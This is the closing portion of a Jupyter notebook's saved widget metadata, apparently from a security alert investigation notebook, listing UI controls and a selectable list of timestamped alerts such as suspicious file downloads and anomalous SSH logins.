        "2019-02-16 03:23:54 - Detected suspicious file download - (MSTICALERTSLXVM2)  - [id:2518520133657099999_384e00d0-4afc-4e9a-8935-bec64d3951a4]",
        "2019-02-16 20:49:59 - SSH Anomalous Login ML - ()  - [id:cf3d882a-3dc8-4526-80f0-0962b8d480c1]",
        "2019-02-16 20:54:02 - SSH Anomalous Login ML - ()  - [id:a37e604d-fc93-43cc-997f-8b5c2fc53990]",
        "2019-02-16 20:59:02 - SSH Anomalous Login ML - ()  - [id:c10ed21e-c5e6-4e7f-bb86-e586bfa2a2a3]",
        "2019-02-16 21:04:02 - SSH Anomalous Login ML - ()  - [id:6a5661f9-9a57-4aa8-bb01-1d6743af998e]",
        "2019-02-16 21:09:02 - SSH Anomalous Login ML - ()  - [id:723f61c8-86bd-46b4-96af-9b6509b0e83e]",
        "2019-02-16 21:14:02 - SSH Anomalous Login ML - ()  - [id:cdaac819-757e-4296-9b64-5edd7e35e57f]",
        "2019-02-16 21:19:02 - SSH Anomalous Login ML - ()  - [id:83062676-4b8d-4579-bcc9-196f086b93af]",
        "2019-02-16 21:24:02 - SSH Anomalous Login ML - ()  - [id:9e25fa59-032f-42be-b8a1-495b773d6ef8]",
        "2019-02-16 23:04:02 - SSH Anomalous Login ML - ()  - [id:eea9d793-0e7e-4911-a0e9-cf87bea6ec3e]",
        "2019-02-16 23:09:02 - SSH Anomalous Login ML - ()  - [id:2007a3bf-db86-4a2e-ab4c-240660c6820a]",
        "2019-02-16 23:14:02 - SSH Anomalous Login ML - ()  - [id:52f884eb-4193-43e7-9e3a-63889edbfb04]",
        "2019-02-16 23:19:02 - SSH Anomalous Login ML - ()  - [id:6d53e2fc-3cfc-4c04-8396-c3dcbf1caa5e]",
        "2019-02-16 23:24:02 - SSH Anomalous Login ML - ()  - [id:e782d6be-34d2-41c0-8b39-14ebbeef01a3]",
        "2019-02-16 23:29:02 - SSH Anomalous Login ML - ()  - [id:3f756526-328e-4dc2-badb-304acded79fe]",
        "2019-02-18 01:09:02 - SSH Anomalous Login ML - ()  - [id:dbd390dc-7a94-47e4-83e4-60a390e4073c]",
        "2019-02-18 01:14:02 - SSH Anomalous Login ML - ()  - [id:64a2b4af-c3d7-422c-820b-7f1feb664222]",
        "2019-02-18 01:19:02 - SSH Anomalous Login ML - ()  - [id:3968ef4e-b322-48ca-b297-e984aff8888d]",
        "2019-02-18 01:24:02 - SSH Anomalous Login ML - ()  - [id:41f1f6b6-d2ea-4821-9659-0cfab6558cec]",
        "2019-02-18 01:29:02 - SSH Anomalous Login ML - ()  - [id:214e5829-1a76-445b-845e-bf9ce81c3d4c]",
        "2019-02-18 01:33:19 - SSH Anomalous Login ML - ()  - [id:8f622935-1422-41e6-b8f6-9119e681645c]",
        "2019-02-18 01:34:02 - SSH Anomalous Login ML - ()  - [id:770459f6-d5ca-4561-a5fe-0911c64d3ace]",
        "2019-02-18 01:39:02 - SSH Anomalous Login ML - ()  - [id:5dc33495-46c1-4232-9031-1cfa67c36724]",
        "2019-02-18 01:44:02 - SSH Anomalous Login ML - ()  - [id:2de58958-55b0-4f0c-8113-063c815248a0]",
        "2019-02-18 01:44:02 - SSH Anomalous Login ML - ()  - [id:95fb8ee8-479d-4b5f-b061-0b76946c9f4f]",
        "2019-02-18 01:44:02 - SSH Anomalous Login ML - ()  - [id:e7a2c7ee-f8aa-4684-805d-72041ea18cf7]",
        "2019-02-18 01:49:02 - SSH Anomalous Login ML - ()  - [id:f1ce87ca-8863-4a66-a0bd-a4d3776a7c64]",
        "2019-02-18 01:49:02 - SSH Anomalous Login ML - ()  - [id:a17c8522-f069-4943-8783-171654d0de7c]",
        "2019-02-18 01:49:02 - SSH Anomalous Login ML - ()  - [id:3a78a119-abe9-4b5e-9786-300ddcfd9530]",
        "2019-02-18 03:14:21 - SSH Anomalous Login ML - ()  - [id:69a87b55-b6a5-4e58-8101-906a4051e29a]",
        "2019-02-18 15:29:22 - Detected suspicious file download - (MSTICALERTSLXVM2)  - [id:2518517970377929999_6ed51e72-6170-4f28-b551-9b7b49936c4c]",
        "2019-02-18 16:39:21 - SSH Anomalous Login ML - ()  - [id:932a6e3c-7747-4e89-8159-c597868089bb]"
       ],
       "description": "Select alert :",
       "index": 6,
       "layout": "IPY_MODEL_c26a4814b15a41739815eebdc901dab9",
       "style": "IPY_MODEL_4cc35a417a5d4d5698d3501c2096ba00"
      }
     },
     "39e9e484588943fda08e11ee20d0451b": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "TextModel",
      "state": {
       "description": "Filter alerts by title:",
       "layout": "IPY_MODEL_268eb19bee274bb59421da43c058f6b8",
       "style": "IPY_MODEL_0d1d8ec7b78c46ab9d7bf98a9960f15b"
      }
     },
     "3bcb099d614b44e3816002e8c13d5e94": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "47c87d9ae56b411eb6d776c65f3855db": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": ""
      }
     },
     "4ae0892f938344469c3bebdfc022ac1b": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "4b7da81fbaeb4401b8b4c5c2b622659f": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "TextModel",
      "state": {
       "description": "Query end time (UTC) :  ",
       "layout": "IPY_MODEL_bfd5603955b3452c92d6e716a89452f5",
       "style": "IPY_MODEL_845cfefa45124c91a3d3564ef1db8cac",
       "value": "2019-02-19 00:00:00"
      }
     },
     "4c36fc0d62af4367b8548aa77ef60308": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": ""
      }
     },
     "4cc35a417a5d4d5698d3501c2096ba00": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": "initial"
      }
     },
     "4ef5e62b42ad43b9a7ddadb906ba576a": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": ""
      }
     },
     "5e4ddbd4743c4ea4b71c3b269b081d5b": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "ProgressStyleModel",
      "state": {
       "description_width": ""
      }
     },
     "5f6afbdee5644cd0a161d5adf997731b": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "5fbf5a1991f446f9a8786dde0867f369": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": "initial"
      }
     },
     "66cb0765ff494f658bdf9b5af640d5e5": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DatePickerModel",
      "state": {
       "description": "Origin Date",
       "disabled": false,
       "layout": "IPY_MODEL_e465979fe462427e8b1cdf96ef3f6d4f",
       "style": "IPY_MODEL_20fb53064e924182ae8da099ff1fa979",
       "value": {
        "date": 17,
        "month": 1,
        "year": 2019
       }
      }
     },
     "67da069ed437481f945fd1bfccd1c1ca": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "HBoxModel",
      "state": {
       "children": [
        "IPY_MODEL_972914f794534d02be503a84cba36a7a",
        "IPY_MODEL_0b58920ab31c436580a32b574a93889e"
       ],
       "layout": "IPY_MODEL_8fe1a328c7fe4332a3a03752c6281d96"
      }
     },
     "6a012f253c114072949997d82861983e": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "HTMLModel",
      "state": {
       "layout": "IPY_MODEL_bd72e5293ece496495853a7150983bf4",
       "style": "IPY_MODEL_80c1a7ae2e3b41c0971e298748e3a3e1",
       "value": "<h4>Set query time boundaries</h4>"
      }
     },
     "6a6eaae87a524405ae5a096cf7541e85": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "VBoxModel",
      "state": {
       "children": [
        "IPY_MODEL_c86242f27b6a4eaaa1712098053ae3fe",
        "IPY_MODEL_15acd4c1137a4dbea9e9277e3c5cc43a",
        "IPY_MODEL_4b7da81fbaeb4401b8b4c5c2b622659f"
       ],
       "layout": "IPY_MODEL_5f6afbdee5644cd0a161d5adf997731b"
      }
     },
     "6aab885cd7ca4e6fbc53c8336bf28d1c": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "6bb88b2e1cbc4a21bfa6bf38a8eb5270": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "6f331b57e8af4e6f8cc1f4227c04fc18": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "IntRangeSliderModel",
      "state": {
       "_model_name": "IntRangeSliderModel",
       "_view_name": "IntRangeSliderView",
       "description": "Time Range (day):",
       "layout": "IPY_MODEL_e7c5ed8e56f64bbabc8f46c1435718ba",
       "max": 8,
       "min": -20,
       "style": "IPY_MODEL_2b05605c19e544afa512263ee11ccd72",
       "value": [
        -3,
        2
       ]
      }
     },
     "7237e4bf0b86439d8868a6b9177fdf88": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "width": "50%"
      }
     },
     "79d1df02e69c40bdaf5d95e631530231": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "SliderStyleModel",
      "state": {
       "description_width": "initial"
      }
     },
     "79fc711c2f4546c5b1db74ce336595e0": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "HTMLModel",
      "state": {
       "layout": "IPY_MODEL_4ae0892f938344469c3bebdfc022ac1b",
       "style": "IPY_MODEL_e02e133d41f04feca18314167b68aab1",
       "value": "<h4>Set query time boundaries</h4>"
      }
     },
     "7a9a1793dac44384b376dea003f631ac": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "HBoxModel",
      "state": {
       "children": [
        "IPY_MODEL_102e8a173bdf4b109f4b588a1c88d7c3",
        "IPY_MODEL_92f3bc9035fe419b9d4f2ffba2cc0457"
       ],
       "layout": "IPY_MODEL_c05a17be5a014bdda18971afb765cb2e"
      }
     },
     "80c1a7ae2e3b41c0971e298748e3a3e1": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": ""
      }
     },
     "83b7bb838f6d418abe801ee5adc6d6a4": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "VBoxModel",
      "state": {
       "children": [
        "IPY_MODEL_6f331b57e8af4e6f8cc1f4227c04fc18",
        "IPY_MODEL_3261c5b758354abc87865399dae0ce02",
        "IPY_MODEL_9cbf4bb716cd4e58b5e61ff3271d6c3e"
       ],
       "layout": "IPY_MODEL_2aeb599b34454dbfb893ee944d67b305"
      }
     },
     "845cfefa45124c91a3d3564ef1db8cac": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": "initial"
      }
     },
     "87025ac2152c4db8be33d3fa30b77d5a": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": "initial"
      }
     },
     "8fe1a328c7fe4332a3a03752c6281d96": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "92f3bc9035fe419b9d4f2ffba2cc0457": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "LabelModel",
      "state": {
       "layout": "IPY_MODEL_b91130ab007b4927a9d157fe81cf7dc5",
       "style": "IPY_MODEL_4ef5e62b42ad43b9a7ddadb906ba576a",
       "value": "100%"
      }
     },
     "96d7b7e2af3c42fa94de12ca9d13185a": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "972914f794534d02be503a84cba36a7a": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DatePickerModel",
      "state": {
       "description": "Origin Date",
       "disabled": false,
       "layout": "IPY_MODEL_e267c33cfb33450485dd46d10ee18d48",
       "style": "IPY_MODEL_4c36fc0d62af4367b8548aa77ef60308",
       "value": {
        "date": 17,
        "month": 1,
        "year": 2019
       }
      }
     },
     "9cbf4bb716cd4e58b5e61ff3271d6c3e": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "TextModel",
      "state": {
       "description": "Query end time (UTC) :  ",
       "layout": "IPY_MODEL_7237e4bf0b86439d8868a6b9177fdf88",
       "style": "IPY_MODEL_24b21cf0dde4419f9a389ee5769e8a66",
       "value": "2019-02-19 00:00:00"
      }
     },
     "9dfc050c3b4943ec80367715db180a9b": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "SelectModel",
      "state": {
       "_options_labels": [
        "2019-02-12 11:48:01 - Security incident with shared process detected - (MSTICALERTSWIN1)  - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]",
        "2019-02-13 02:50:38 - Security incident detected - (MSTICALERTSLXVM2)  - [id:2518522745615999999_30ac5794-a265-4420-a1b7-6335ac08e2c0]",
        "2019-02-14 11:51:38 - Suspicious system process executed - ()  - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]",
        "2019-02-14 11:51:38 - Security incident detected - (MSTICALERTSWIN1)  - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]",
        "2019-02-14 11:51:38 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1)  - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]",
        "2019-02-15 03:50:55 - Detected suspicious file download - (MSTICALERTSLXVM2)  - [id:2518520981440769999_caab1270-55d3-4447-8618-16cf8672e4e1]",
        "2019-02-15 04:03:22 - Possible suspicious scheduling tasks access detected - (MSTICALERTSLXVM2)  - [id:2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07]",
        "2019-02-15 19:43:49 - Detected suspicious file download - (MSTICALERTSLXVM2)  - [id:2518520409706099999_c5116800-e694-4900-a6e3-28cc7875b093]",
        "2019-02-15 19:55:10 - Suspicious Activity Detected - ()  - [id:2518520402897969999_b946cd89-667e-4ce7-b571-9603859a7234]",
        "2019-02-16 03:23:54 - Detected suspicious file download - (MSTICALERTSLXVM2)  - [id:2518520133657099999_384e00d0-4afc-4e9a-8935-bec64d3951a4]",
        "2019-02-16 20:49:59 - SSH Anomalous Login ML - ()  - [id:cf3d882a-3dc8-4526-80f0-0962b8d480c1]",
        "2019-02-16 20:54:02 - SSH Anomalous Login ML - ()  - [id:a37e604d-fc93-43cc-997f-8b5c2fc53990]",
        "2019-02-16 20:59:02 - SSH Anomalous Login ML - ()  - [id:c10ed21e-c5e6-4e7f-bb86-e586bfa2a2a3]",
        "2019-02-16 21:04:02 - SSH Anomalous Login ML - ()  - [id:6a5661f9-9a57-4aa8-bb01-1d6743af998e]",
        "2019-02-16 21:09:02 - SSH Anomalous Login ML - ()  - [id:723f61c8-86bd-46b4-96af-9b6509b0e83e]",
        "2019-02-16 21:14:02 - SSH Anomalous Login ML - ()  - [id:cdaac819-757e-4296-9b64-5edd7e35e57f]",
        "2019-02-16 21:19:02 - SSH Anomalous Login ML - ()  - [id:83062676-4b8d-4579-bcc9-196f086b93af]",
        "2019-02-16 21:24:02 - SSH Anomalous Login ML - ()  - [id:9e25fa59-032f-42be-b8a1-495b773d6ef8]",
        "2019-02-16 23:04:02 - SSH Anomalous Login ML - ()  - [id:eea9d793-0e7e-4911-a0e9-cf87bea6ec3e]",
        "2019-02-16 23:09:02 - SSH Anomalous Login ML - ()  - [id:2007a3bf-db86-4a2e-ab4c-240660c6820a]",
        "2019-02-16 23:14:02 - SSH Anomalous Login ML - ()  - [id:52f884eb-4193-43e7-9e3a-63889edbfb04]",
        "2019-02-16 23:19:02 - SSH Anomalous Login ML - ()  - [id:6d53e2fc-3cfc-4c04-8396-c3dcbf1caa5e]",
        "2019-02-16 23:24:02 - SSH Anomalous Login ML - ()  - [id:e782d6be-34d2-41c0-8b39-14ebbeef01a3]",
        "2019-02-16 23:29:02 - SSH Anomalous Login ML - ()  - [id:3f756526-328e-4dc2-badb-304acded79fe]",
        "2019-02-18 01:09:02 - SSH Anomalous Login ML - ()  - [id:dbd390dc-7a94-47e4-83e4-60a390e4073c]",
        "2019-02-18 01:14:02 - SSH Anomalous Login ML - ()  - [id:64a2b4af-c3d7-422c-820b-7f1feb664222]",
        "2019-02-18 01:19:02 - SSH Anomalous Login ML - ()  - [id:3968ef4e-b322-48ca-b297-e984aff8888d]",
        "2019-02-18 01:24:02 - SSH Anomalous Login ML - ()  - [id:41f1f6b6-d2ea-4821-9659-0cfab6558cec]",
        "2019-02-18 01:29:02 - SSH Anomalous Login ML - ()  - [id:214e5829-1a76-445b-845e-bf9ce81c3d4c]",
        "2019-02-18 01:33:19 - SSH Anomalous Login ML - ()  - [id:8f622935-1422-41e6-b8f6-9119e681645c]",
        "2019-02-18 01:34:02 - SSH Anomalous Login ML - ()  - [id:770459f6-d5ca-4561-a5fe-0911c64d3ace]",
        "2019-02-18 01:39:02 - SSH Anomalous Login ML - ()  - [id:5dc33495-46c1-4232-9031-1cfa67c36724]",
        "2019-02-18 01:44:02 - SSH Anomalous Login ML - ()  - [id:2de58958-55b0-4f0c-8113-063c815248a0]",
        "2019-02-18 01:44:02 - SSH Anomalous Login ML - ()  - [id:95fb8ee8-479d-4b5f-b061-0b76946c9f4f]",
        "2019-02-18 01:44:02 - SSH Anomalous Login ML - ()  - [id:e7a2c7ee-f8aa-4684-805d-72041ea18cf7]",
        "2019-02-18 01:49:02 - SSH Anomalous Login ML - ()  - [id:f1ce87ca-8863-4a66-a0bd-a4d3776a7c64]",
        "2019-02-18 01:49:02 - SSH Anomalous Login ML - ()  - [id:a17c8522-f069-4943-8783-171654d0de7c]",
        "2019-02-18 01:49:02 - SSH Anomalous Login ML - ()  - [id:3a78a119-abe9-4b5e-9786-300ddcfd9530]",
        "2019-02-18 03:14:21 - SSH Anomalous Login ML - ()  - [id:69a87b55-b6a5-4e58-8101-906a4051e29a]",
        "2019-02-18 15:29:22 - Detected suspicious file download - (MSTICALERTSLXVM2)  - [id:2518517970377929999_6ed51e72-6170-4f28-b551-9b7b49936c4c]",
        "2019-02-18 16:39:21 - SSH Anomalous Login ML - ()  - [id:932a6e3c-7747-4e89-8159-c597868089bb]"
       ],
       "description": "Select alert :",
       "index": 5,
       "layout": "IPY_MODEL_f8afda5dc594476ea5e1772b963da0d1",
       "style": "IPY_MODEL_36257f6e13074d67a18b3b24fe877958"
      }
     },
     "a9afb9d8b64d42c08c730207a2542f3d": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "width": "95%"
      }
     },
     "aaf4db32789e48b7bee910ec25c3b148": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "VBoxModel",
      "state": {
       "children": [
        "IPY_MODEL_6a012f253c114072949997d82861983e",
        "IPY_MODEL_3330e6e582a64dfebd2062c90b4a74b6",
        "IPY_MODEL_6a6eaae87a524405ae5a096cf7541e85"
       ],
       "layout": "IPY_MODEL_05009eb2aabb4306a89a862196e801e3"
      }
     },
     "adea05ac922e447c9c6f0e86bd90ad83": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "VBoxModel",
      "state": {
       "children": [
        "IPY_MODEL_39e9e484588943fda08e11ee20d0451b",
        "IPY_MODEL_9dfc050c3b4943ec80367715db180a9b"
       ],
       "layout": "IPY_MODEL_d31027e672d1435fb9d717273281b3fd"
      }
     },
     "b54b275d85dc4829b883fa6159a8d5b0": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "b73d7f7c4a884511b1f8bde0a62cbf20": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "VBoxModel",
      "state": {
       "children": [
        "IPY_MODEL_24f3090e07af4c14828581e81dde1277",
        "IPY_MODEL_39505ef157ce4341bfe7c4677ce766ad"
       ],
       "layout": "IPY_MODEL_6aab885cd7ca4e6fbc53c8336bf28d1c"
      }
     },
     "b91130ab007b4927a9d157fe81cf7dc5": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "bd1cd4ee51eb45bc95561484d3bc8bd5": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "width": "80%"
      }
     },
     "bd72e5293ece496495853a7150983bf4": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "bfd5603955b3452c92d6e716a89452f5": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "width": "50%"
      }
     },
     "c05a17be5a014bdda18971afb765cb2e": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "c26a4814b15a41739815eebdc901dab9": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "height": "300px",
       "width": "95%"
      }
     },
     "c3aa094b844345de8ea552c3e04b27ba": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "width": "95%"
      }
     },
     "c86242f27b6a4eaaa1712098053ae3fe": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "IntRangeSliderModel",
      "state": {
       "_model_name": "IntRangeSliderModel",
       "_view_name": "IntRangeSliderView",
       "description": "Time Range (day):",
       "layout": "IPY_MODEL_bd1cd4ee51eb45bc95561484d3bc8bd5",
       "max": 8,
       "min": -20,
       "style": "IPY_MODEL_79d1df02e69c40bdaf5d95e631530231",
       "value": [
        -3,
        2
       ]
      }
     },
     "d31027e672d1435fb9d717273281b3fd": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "d5b7f37f36c14bc6aa1cea90ccdfa7de": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "width": "95%"
      }
     },
     "e02e133d41f04feca18314167b68aab1": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": ""
      }
     },
     "e249b9bff9624521a3d01ab52499ce0e": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "width": "95%"
      }
     },
     "e267c33cfb33450485dd46d10ee18d48": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "e465979fe462427e8b1cdf96ef3f6d4f": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "e7c5ed8e56f64bbabc8f46c1435718ba": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "width": "80%"
      }
     },
     "f8afda5dc594476ea5e1772b963da0d1": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "height": "300px",
       "width": "95%"
      }
     },
     "f8b21d67f8294beba4ca9243ba9e1e25": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "ff9d19a7fb0248ad8da2b43ab2628a0d": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "VBoxModel",
      "state": {
       "children": [
        "IPY_MODEL_79fc711c2f4546c5b1db74ce336595e0",
        "IPY_MODEL_67da069ed437481f945fd1bfccd1c1ca",
        "IPY_MODEL_83b7bb838f6d418abe801ee5adc6d6a4"
       ],
       "layout": "IPY_MODEL_6bb88b2e1cbc4a21bfa6bf38a8eb5270"
      }
     }
    },
    "version_major": 2,
    "version_minor": 0
   }
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}